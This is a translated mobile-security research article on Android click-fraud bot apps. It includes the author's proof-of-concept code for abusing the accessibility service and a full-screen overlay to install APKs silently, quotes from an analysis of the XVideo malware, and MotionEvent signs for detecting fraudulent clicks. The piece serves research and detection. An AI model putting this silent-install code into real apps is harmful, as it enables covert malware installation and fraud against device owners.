译者:興趣使然的小胃
预估稿费:200RMB
投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿
传送门
【技术分享】点击型僵尸app:能够自动点击的安卓僵尸app(上)
四、利用无障碍辅助服务的CBA
无障碍服务是Android平台提供的一种服务,该服务提供了一种用户界面增强功能,可以帮助残障用户或者暂时无法与设备完全交互的用户。
无障碍服务的服务对象本来只局限于使用Android设备及应用的残障人士。应用程序可以通过这种服务来发现在屏幕上显示的UI小部件,查询这些部件的内容,以程序方式与这些部件交互。利用这些功能,残障用户可以更好地访问Android设备。
恶意软件一直以来都在滥用无障碍服务(Accessibility Service Abuse,ASA)来发起攻击,如DoubleLocker勒索软件以及Shedun恶意软件(也叫做Kemoge、Shiftybug以及Shuanet)等大规模攻击事件中就用到过这一技术。
应用可以使用无障碍服务以及(或者)顶层绘制(Draw on Top)权限,创建一个位于所有其他应用顶层的窗口,这种攻击手法也称之为“Cloak & Dagger”攻击。利用这种攻击手法,恶意应用可以完全控制UI反馈闭环,悄无声息接管整个设备。
其他类型的CBA无需请求任何权限,而Cloak & Dagger(以下简称C&D)攻击需要请求SYSTEM_ALERT_WINDOW(顶层绘制)以及BIND_ACCESSIBILITY_SERVICE(无障碍服务)权限。如果应用的安装渠道源自于Play Store,那么该应用会自动获得SYSTEM ALERT WINDOW权限。
这两个权限结合起来可以实现某些恶意软件所具备的功能:
1、静默安装应用。由于安装过程无需用户同意,应用程序可以变成上帝应用(启用了所有权限),或者换句话说,该应用可以安装间谍软件。
2、发起非常完美的隐蔽钓鱼攻击。
3、将PIN码改成攻击者控制的PIN码,阻止用户访问设备(然后要求用户支付赎金)。
4、记录用户键盘操作,可以窃取密码(只需获得无障碍服务权限)。
我们来演示一下某款Android CBA如何滥用无障碍服务,不经用户许可安装其他Android应用。
前文提到的广告欺诈点击行为在设备上的表现非常明显,然而在设备端我们无法发现基于安装欺诈或者流量欺诈的欺诈行为,但可以使用基于服务端信息的其他识别方法进行检测。
本文所研究的是CBA网络的营收问题,因此,为实现利益最大化,应用程序可能会安装多个广告软件或者CBA程序。无论如何,能够发起C&D攻击的CBA比单纯的广告欺诈点击软件更为可恶,原因如下:
1、Android应用可以使用VirtualApp框架或基于DexClassLoader的其他技术来动态加载不受监管的代码。这些代码可能是勒索软件或者能够窃取密码的间谍软件。
2、所安装的应用无需经过用户许可,没有经过Google Play Store的校验,因此可以是勒索软件或者窃取密码的间谍软件,也可以动态加载未受监管的类似代码安装其他恶意软件。
我之前也发现过使用自动点击技术完成应用安装的案例,但这里我想以自己写的概念验证代码(PoC)为例子来介绍。自己的代码更加干净整洁,通过逆向工程方法提取的其他代码还存在部分混淆情况,不便于分析。
接下来介绍的这个示例应用可以通过如下方法来安装其他应用程序:
1、在manifest中注册AccessibilityService,配置intent过滤器,设置<intent-filter>的name属性值为accessibilityservice.AccessibilityService。
2、如果尚未获得无障碍服务权限,则以“合理的”理由请求该权限。
3、为了隐藏安装窗口,使用一个布局(layout)填充整个屏幕,该布局使用LayoutParams.TYPE_SYSTEM_ALERT标志。
4、开始安装本地apk文件。
5、过滤AccessibilityService,在android.packageinstaller软件包中,查找PackageInstallerActivity中的AccessibilityEvent。
6、通过findAccessibilityNodeInfosByText方法,查找待点击的安装按钮。
7、使用performAction(AccessibilityNodeInfo.ACTION_CLICK)语句自动点击按钮。
8、撤掉上层覆盖窗口(如果使用过顶层窗口的话)。
在Manifest文件中注册AccessibilityService,如下所示:
<service
android:name=".AccessibilityServiceImpl"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService"/>
</intent-filter>
<meta-data
android:name="android.accessibilityservice"
android:resource="@xml/help"/>
</service>
如果尚未获得无障碍服务权限,则以“合理的”理由请求该权限。
private static final String SERVICE_NAME = "money.for.nothing/.AccessibilityServiceImpl";
private boolean isAccessibilityServiceEnabled() {
List<AccessibilityServiceInfo> accessibilityServices =
mAccessibilityManager.getEnabledAccessibilityServiceList(AccessibilityServiceInfo.FEEDBACK_GENERIC);
for (AccessibilityServiceInfo info : accessibilityServices) {
if (info.getId().equals(SERVICE_NAME)) {
return true;
}
}
Intent intent = new Intent(Settings.ACTION_ACCESSIBILITY_SETTINGS);
startActivity(intent);
return false;
}
使用“合适”的上下文环境来隐藏安装窗口。
final WindowManager.LayoutParams params = new WindowManager.LayoutParams(
WindowManager.LayoutParams.MATCH_PARENT,
WindowManager.LayoutParams.MATCH_PARENT,
WindowManager.LayoutParams.TYPE_SYSTEM_ALERT,
WindowManager.LayoutParams.FLAG_FULLSCREEN,
PixelFormat.TRANSLUCENT);
LayoutInflater li = (LayoutInflater) getSystemService(LAYOUT_INFLATER_SERVICE);
View mainView = null;switch (process) { case PAYMENT:
mainView = li.inflate(R.layout.money_for_nothing_installing, null); break; case LOCATION:
mainView = li.inflate(R.layout.money_for_nothing_setting, null); break; case UNINSTALL:
mainView = li.inflate(R.layout.money_for_nothing_searching, null);
Break; case INSTALL:
mainView = li.inflate(R.layout.money_for_nothing_loading, null);
Break;
}final View finalMainView = mainView;
_windowManager.addView(mainView, params);
开始安装本地apk文件。
String path = "/storage/emulated/legacy/Download/zanti3.01.apk";
if (isAccessibilityServiceEnabled()) {
Intent promptInstall = new Intent(Intent.ACTION_VIEW)
.setDataAndType(Uri.parse("file://"+ path),
"application/vnd.android.package-archive");
startActivity(promptInstall);
}
找到并点击“Install button”(安装按钮)。
public class HelpService extends AccessibilityService {
private static final CharSequence PACKAGE = "com.android.packageinstaller;
@TargetApi(Build.VERSION_CODES.JELLY_BEAN) @Override public void onAccessibilityEvent(final AccessibilityEvent event) {
if(null == event || null == event.getSource()) { return; }
if(event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED &&
event.getPackageName().equals("com.android.packageinstaller")){
if(className.endsWith("PackageInstallerActivity")){
simulationClick(event, "Install");
}
}
}
@TargetApi(Build.VERSION_CODES.JELLY_BEAN) private void simulationClick(AccessibilityEvent event, String text){
Log.v("click", "simulationClick: "+ text);
List<AccessibilityNodeInfo> nodeInfoList = event.getSource().findAccessibilityNodeInfosByText(text);
for (AccessibilityNodeInfo node : nodeInfoList) {
if (node.isClickable() && node.isEnabled()) {
node.performAction(AccessibilityNodeInfo.ACTION_CLICK);
}
}
}
@Override public void onInterrupt() { }
}
XVideo恶意软件分析
接下来我们来分析一下“XVideo”恶意软件,这款恶意软件所作的操作与上述操作类似,唯一的不同是它并没有隐藏安装过程。
这款恶意软件同样实现了一些典型的恶意软件功能,以规避Google Play上的恶意软件检测机制,比如:
1、虽然应用的包名各不相同,但所有activity的名字都采用“pronclub.*”格式。
<application android:name=“org.gro.jp.fjksbxcvbcxnnxlsdtApp” …>
<activity android:name=“com.pronclub.GdetailActivity” />
<activity android:name=“com.pronclub.GwebActivity” />
<activity android:name=“com.pronclub.GpointActivity” />
2、应用程序在assets目录中存放APK文件。APK头部数据使用滚动式异或算法(rolling XOR)进行编码,通过DexClassLoader动态加载dex代码。
DexClassLoader dLoader = new DexClassLoader(str, str2, str4, (ClassLoader) fjksbxcvbcxnnxswdpkff.getFieldfjksbxcvbcxnnxklOjbect(fjksbxcvbcxnnxalldd[3], wrfjksbxcvbcxnnx.get(), fjksbxcvbcxnnxalldd[4]));
3、这款CBA注册了一个无障碍服务,服务名为“Play decoder++”。在代码中,该字符串的属性名为“auto install service”,与其真实功能非常贴切。
<string name=”acc_auto_install_service_name”>[Decoder] Play Decoder++</string>
<service android:label=”@string/acc_auto_install_service_name” android:name=”com.ted.android.service.bni” android:permission=”android.permission.BIND_ACCESSIBILITY_SERVICE”>
五、其他点击欺诈方法
点击欺诈是一种非常狡猾的犯罪行为,它会使用各种方法来绕过检测技术。在判断某个应用是否脱离用户交互过程,实施点击欺诈行为时,我们应注意其中一些方法或者参数,根据这些因素来具体判断:
1、应用所点击的区域是否超出应用UI组件范围?(比如Facebook应用点击了WhatsApp应用)
2、应用请求哪些权限?
3、应用是否请求Root权限,或者是否以系统应用身份运行?(位于/system/app目录下的应用通常带有操作系统的签名)
4、应用行为是否在设备上可见?前文提到过,服务端负责基于信息收集的观察方法,与应用所使用的点击方法无关。
当用户点击某个Android UI组件(ViewGroup)时,操作系统或广告SDK所得到的输出结果如下所示。比如,一次用户点击事件会生成两个MotionsEvent ,分别对应手指按下以及手指抬起动作:
MotionEvent { action=ACTION_DOWN, id[0]=0, x[0]=198.75, y[0]=63.42859, toolType[0]=TOOL_TYPE_FINGER, buttonState=0, metaState=0, flags=0x0, edgeFlags=0x0, pointerCount=1, historySize=0, eventTime=18381654, downTime=18381654, deviceId=6, source=0x1002 }
MotionEvent { action=ACTION_UP, id[0]=0, x[0]=198.75, y[0]=63.42859, toolType[0]=TOOL_TYPE_FINGER, buttonState=0, metaState=0, flags=0x0, edgeFlags=0x0, pointerCount=1, historySize=0, eventTime=18381742, downTime=18381654, deviceId=6, source=0x1002 }
这里我们定义一个术语:设备端检测(on-device-detection)技术,即能否通过上述MotionEvent 参数发现欺诈点击行为。
5.1 使用Android平台的dispatchTouchEvent API
如前文所述,这个API的特点为:
1、只能点击应用自己的UI组件。
2、无需请求任何权限就能运行。
3、无需root权限或以系统应用运行就能提交操作。
前面我们给出了com.life.read.physical.trian反编译后的源代码,如果使用这份代码来操作点击行为,那么只需要注意几个参数就能发现欺诈行为。
首先是source=0x1002,其次是TOOL_TYPE_UNKNOWN。
应用可以保存引用信息,回收一些Android UI组件(如MotionEvent.PointerCoords、MotionEvent.PointerProperties等),设置其他“source”属性值,在私有API上使用反射(reflection)机制,通过这些操作,应用在设备上的所作所为对用户而言会变得完全透明。
这些技巧如果应用得当,就能真正达到不劳而获的效果。
5.2 滥用无障碍服务
如前文所述,这个服务具备如下特点:
1、可以点击其他组件。
2、需要请求BIND_ACCESSIBILITY_SERVICE权限。启动无障碍服务需要由用户在设备设置中启用该服务选项。
3、无需root权限或以系统级应用运行。
这类欺诈行为对应“toolType[0]=TOOL_TYPE_UNKNOWN”,因此很容易识别。
虽然我们可以通过设备上的点击欺诈特征发现广告欺诈软件,然而无法发现安装欺诈或者流量欺诈型软件,但我们还是可以使用基于服务端信息的其他识别方法加以检测。
5.3 使用Android底层输入管道
Android输入子系统(Android input subsystem)中包含一个贯穿多层子系统的事件管道(event pipeline)。shell用户可以使用“input”程序来创建触摸事件。
这种方法特点如下:
1、可以点击其他组件。
2、无需任何权限就能运行。
3、需要Shell用户权限,也就是说Root权限足以满足需求。
使用这种方法时,在设备上的点击事件会带有“toolType[0]=TOOL_TYPE_UNKNOWN”参数,可借此来识别欺诈行为。
5.4 在“InputManager”类的injectInputEvent方法上使用反射技术
欺诈应用可以在InputManager上使用Java的反射(Reflection)API,这种方法的特点如下:
1、可以点击应用组件。以shell用户运行时可以点击其他组件。
2、无需任何权限就能运行。
3、可能需要以系统应用身份运行,具体取决于所使用的操作系统以及设备。
使用这种方法时,在设备上的点击事件会带有“toolType[0]=TOOL_TYPE_UNKNOWN”参数,可借此来识别欺诈行为。
攻击者还可以使用其他一些方法来实施广告欺诈、安装欺诈以及数据流量欺诈行为,比如:
1、篡改广告SDK。
2、逆向广告SDK,使用反射技术发送伪造的事件。
3、Hook广告ADK或者系统UI。
六、总结
随着时间的推移,CBA也变得越来越复杂。为了能够随意玩弄操作系统,使用最新开发工具包的应用开发者可以采取各种各样的创新手法。综合利用各种方法后,CBA可能会完全规避现有的检测技术,除非我们能找到更加有效的实时检测方法,才能从设备中移除这类恶意应用。
未来,广告业的龙头服务商需要采取相应的防御手段或保护方法,来对抗僵尸软件以及点击欺诈软件,避免向欺诈行为支付金钱。应用开发者需要提供诸如zIAP™的全面保护方案,来实时监测欺诈软件及移动恶意软件。如果缺少此类保护机制,那么每次点击时,未受保护的开发者以及设备所能得到的收益就会受到影响。
本文列举了点击欺诈行为的几个案例并做了相关分析,希望读者阅读本文后能有所收获。zLabs对这类行为的研究领域涵盖应用、移动操作系统以及硬件领域,目标是研发最好的移动安全产品及服务,保护个人及企业信息。
如果你有具体问题或者想向zLabs或其他团队反馈意见及建议,欢迎通过这个页面来联系我们。
感谢zLabs的所有研究人员,特别是Matteo Favaro (@fvrmatteo),以上研究成果离不开他们的帮助。